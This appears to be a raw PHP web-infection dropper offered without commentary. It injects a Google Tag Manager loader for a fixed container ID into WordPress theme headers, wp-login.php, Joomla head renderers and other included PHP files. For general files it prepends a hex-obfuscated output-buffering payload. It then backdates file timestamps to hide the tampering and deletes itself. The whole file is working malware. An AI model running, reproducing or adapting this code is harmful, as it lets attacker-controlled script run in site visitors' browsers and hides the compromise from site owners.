e2722.php

<?php
function inject_gtm($file, &$arr)
{
    $tdir = dirname($file);
    $t = @min(@filectime($tdir), @filemtime($tdir));
    foreach (@scandir($tdir) as $td) {
        $t = @min($t, @min(@filectime("$tdir/$td"), @filemtime("$tdir/$td")));
    }
    $fname = basename($file);
    $fname = strtolower($fname);
    if (@in_array($file, $arr) !== true && strpos($fname, ".php") !== false) {
        $script = '${"\x47\x4cO\x42\x41LS"}["s\x74\x6bb\x65\x64d\x74\x6ft\x73"]="\x70\x6fs";${"\x47LO\x42AL\x53"}["v\x67\x72\x78\x76\x77p"]="\x68ea\x64";${"\x47L\x4f\x42AL\x53"}["m\x62\x6b\x63\x6fn\x65\x65\x6a\x70u"]="o";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x79\x73\x6cff\x70\x67"]="js";if(!@defined("GTM_I\x4a\x45\x44")){@define("GT\x4d\x5f\x49J\x45D",true);if(!@function_exists("\x69jgt\x6d")){function ijgtm(){$vnbbtyards="\x6f";$evefahjc="\x6f";${"\x47L\x4f\x42\x41L\x53"}["\x6e\x6a\x76\x76\x7aj\x69"]="o";$frccmlzvk="\x6f";$nkmybygm="o";${$evefahjc}=@ob_get_contents();${${"G\x4c\x4f\x42A\x4c\x53"}["\x6c\x79\x73l\x66\x66pg"]}="<\x73\x63ri\x70\x74\x3e(\x66unct\x69on(w,\x64,\x73,l,i){w[\x6c]=\x77[l]||[]\x3b\x77[\x6c].\x70ush({\'g\x74m.\x73t\x61rt\x27: ne\x77\x20D\x61t\x65().ge\x74\x54i\x6d\x65(),e\x76e\x6e\x74:\'gt\x6d\x2e\x6as\'})\x3bvar \x66\x3d\x64\x2eg\x65\x74\x45le\x6de\x6e\x74sByT\x61g\x4eame(s)[\x30], \x6a \x3d\x20\x64.cre\x61\x74eE\x6cem\x65\x6et(\x73),d\x6c\x3dl\x21\x3d\'\x64\x61\x74\x61L\x61ye\x72\x27?\x27&l\x3d\x27+\x6c:\'\x27;j\x2eas\x79\x6ec\x3dt\x72ue\x3bj.s\x72\x63\x3d\x20\x27\x68\x74\x74\x70\x73://\x77\x77w.\x67\x6fo\x67l\x65\x74\x61\x67m\x61na\x67\x65\x72\x2e\x63\x6fm/g\x74m\x2ejs?\x69\x64\x3d\x27+i+\x64\x6c;f\x2e\x70\x61\x72\x65\x6e\x74\x4eod\x65\x2e\x69n\x73\x65\x72tB\x65\x66\x6fre(j,\x66)\x3b })(w\x69\x6e\x64o\x77,d\x6fc\x75m\x65nt,\'\x73\x63\x72i\x70t\',\'\x64\x61ta\x4c\x61y\x65r\',\x27G\x54M-P\x44DL2\x53\x48\')\x3b</sc\x72ipt\x3e";if(${$nkmybygm}!==false&&preg_match("#\x3c\x68\x65\x61d\x23i",${$frccmlzvk})==1&&preg_match("#\x3c\x68tml#\x69",${$vnbbtyards})==1&&preg_match("\x23\x3c\x62o\x64y#i",${${"\x47\x4c\x4fB\x41LS"}["\x6d\x62\x6b\x63\x6fn\x65e\x6ap\x75"]})==1&&preg_match("\x23\x3cm\x65t\x61 #\x69",${${"\x47\x4cOB\x41\x4c\x53"}["\x6e\x6av\x76\x7aj\x69"]})==1){$sbtttiv="\x68e\x61d";@ob_end_clean();if(@preg_match("#<h\x65a\x64 [^\x3e]*\x3e|<head\x3e\x23\x69",${${"G\x4cOBA\x4c\x53"}["m\x62\x6b\x63\x6f\x6e\x65ejpu"]},${$sbtttiv})==1){${"G\x4c\x4fB\x41\x4c\x53"}["u\x73\x72\x6ec\x72\x77\x78"]="\x6f";$jesxlszhx="po\x73";${"\x47\x4c\x4f\x42ALS"}["h\x65\x79f\x75kr\x69\x6c\x6e"]="\x70\x6fs";$ruvmkhsdhf="\x6f";${"G\x4cOB\x41\x4cS"}["\x77\x66z\x78\x69\x77\x65"]="\x6f";$vxeffcrhkfq="\x6f";${$jesxlszhx}=@strpos(${$vxeffcrhkfq},${${"\x47\x4cO\x42\x41LS"}["v\x67rxv\x77\x70"]}[0])+@strlen(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x67r\x78\x76\x77p"]}[0]);${${"\x47\x4cOB\x41LS"}["u\x73r\x6e\x63\x72\x77\x78"]}=@substr(${$ruvmkhsdhf},0,${${"\x47LO\x42A\x4c\x53"}["s\x74k\x62\x65\x64d\x74\x6f\x74s"]}).${${"GL\x4f\x42\x41\x4cS"}["\x6c\x79s\x6cf\x66\x70\x67"]}.@substr(${${"G\x4c\x4f\x42\x41LS"}["wfzxi\x77e"]},${${"\x47\x4c\x4f\x42\x41L\x53"}["\x68ey\x66\x75k\x72\x69\x6c\x6e"]});}echo(${${"\x47L\x4fBAL\x53"}["\x6d\x62\x6bco\x6e\x65\x65j\x70u"]});}}}@ob_start();@register_shutdown_function("\x69\x6agt\x6d");}';
        if (is_writeable($file)) {
            $c = @file_get_contents($file);
            if (preg_match("#namespace#i", $c) === 0) {
                $c = preg_replace("#<\?php\s*/\*521x\*/[^\n\r]+/\*0v4y\*/\s*\?>#i", "", $c);
                if (substr($c, 0, 2) == "<?") {
                    $wrote = @file_put_contents($file, '<?php                                                                                                       /*521x*/ ' . $script . ' /*0v4y*/ ?>' . $c);
                    @touch($file, $t, $t);
                    @touch($tdir, $t, $t);
                    if ($wrote !== false) {
                        array_push($arr, $file);
                    }
                }
            }
        }
    }
}

@header("content-type: text/plain");
@ini_set("display_errors", 0);
@error_reporting(0);
@set_time_limit(10);

$dir = str_replace("\\", "/", dirname($_SERVER["SCRIPT_NAME"]));
$root = str_replace($dir && $dir != "/" ? $dir : "", "", str_replace("\\", "/", realpath(".")));
$injected = array();
$gtmjs = "<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-PDDL2SH');</script>";

if (file_exists("$root/wp-content/themes/")) {
    if (is_dir("$root/wp-content/themes/")) {
        foreach (scandir("$root/wp-content/themes/") as $theme) {
            $file = "$root/wp-content/themes/$theme/header.php";
            if (file_exists($file)) {
                $tdir = dirname($file);
                $t = @min(@filectime($tdir), @filemtime($tdir));
                $header = @file_get_contents($file);
                if (strpos($header, "<meta charset=") !== false && strpos($header, "PDDL2SH") == false) {
                    $header = str_replace("<meta charset=", "$gtmjs<meta charset=", $header);
                    $succeed = @file_put_contents($file, $header);
                    if ($succeed) {
                        array_push($injected, $file);
                        @touch($file, $t, $t);
                        @touch($tdir, $t, $t);
                    }
                }elseif (strpos($header, "<head>") !== false && strpos($header, "PDDL2SH") == false) {
                    $header = str_replace("<head>", "<head>$gtmjs", $header);
                    $succeed = @file_put_contents($file, $header);
                    if ($succeed) {
                        array_push($injected, $file);
                        @touch($file, $t, $t);
                        @touch($tdir, $t, $t);
                    }
                }
            }
            $file = "$root/wp-content/themes/$theme/index.php";
            if (file_exists($file)) {
                $tdir = dirname($file);
                $t = @min(@filectime($tdir), @filemtime($tdir));
                $header = @file_get_contents($file);
                if (strpos($header, "<meta charset=") !== false && strpos($header, "PDDL2SH") == false) {
                    $header = str_replace("<meta charset=", "$gtmjs<meta charset=", $header);
                    $succeed = @file_put_contents($file, $header);
                    if ($succeed) {
                        array_push($injected, $file);
                        @touch($file, $t, $t);
                        @touch($tdir, $t, $t);
                    }
                }elseif (strpos($header, "<head>") !== false && strpos($header, "PDDL2SH") == false) {
                    $header = str_replace("<head>", "<head>$gtmjs", $header);
                    $succeed = @file_put_contents($file, $header);
                    if ($succeed) {
                        array_push($injected, $file);
                        @touch($file, $t, $t);
                        @touch($tdir, $t, $t);
                    }
                }
            }
            $file = "$root/wp-login.php";
            if (file_exists($file)) {
                $tdir = dirname($file);
                $t = @min(@filectime($tdir), @filemtime($tdir));
                $header = @file_get_contents($file);
                if (strpos($header, "<meta http-equiv=") !== false && strpos($header, "PDDL2SH") == false) {
                    $header = str_replace("<meta http-equiv=", "$gtmjs<meta http-equiv=", $header);
                    $succeed = @file_put_contents($file, $header);
                    if ($succeed) {
                        array_push($injected, $file);
                        @touch($file, $t, $t);
                        @touch($tdir, $t, $t);
                    }
                }
            }
        }
    }
}
$file = "$root/libraries/src/Document/Renderer/Html/HeadRenderer.php";
if (@file_exists($file)) {
    $tdir = @dirname($file);
    $t = @min(@filectime($tdir), @filemtime($tdir));
    $header = @file_get_contents($file);
    $header = str_replace('return ltrim($buffer, $tab);', "return \"$gtmjs\" . ltrim(\$buffer, \$tab);", $header);
    $succeed = @file_put_contents($file, $header);
    if ($succeed) {
        array_push($injected, $file);
        @touch($file, $t, $t);
        @touch($tdir, $t, $t);
    }
}
$file = "$root/libraries/joomla/document/html/renderer/head.php";
if (@file_exists($file)) {
    $tdir = @dirname($file);
    $t = @min(@filectime($tdir), @filemtime($tdir));
    $header = @file_get_contents($file);
    $header = str_replace('echo $this->fetchHead($this->_doc);', "echo \"$gtmjs\" . \$this->fetchHead(\$this->_doc);", $header);
    $succeed = @file_put_contents($file, $header);
    if ($succeed) {
        array_push($injected, $file);
        @touch($file, $t, $t);
        @touch($tdir, $t, $t);
    }
}
$homes = array("index.php", "default.php", "home.php");
foreach ($homes as $home) {
    if (@file_exists("$root/$home")) {
        @include_once "$root/$home";
        @ob_end_clean();
        $files = @get_included_files();
        @shuffle($files);
        for ($i = 0; ($i < sizeof($files) && sizeof($injected) < 5); $i++) {
            $file = $files[$i];
            if (basename($file) !== basename($_SERVER['SCRIPT_FILENAME'])) {
                inject_gtm($file, $injected);
            }
        }
    }
}
if (sizeof($injected) > 0) {
    array_unique($injected);
    echo("<<OK>>" . join("\n", $injected) . "<</OK>>");
} else {
    echo "<<NOTHING>>";
}
$del = @unlink(__FILE__);
if ($del == false) {
    echo "\n<<DEL_FAIL>>" . __FILE__ . "<</DEL_FAIL>>";
}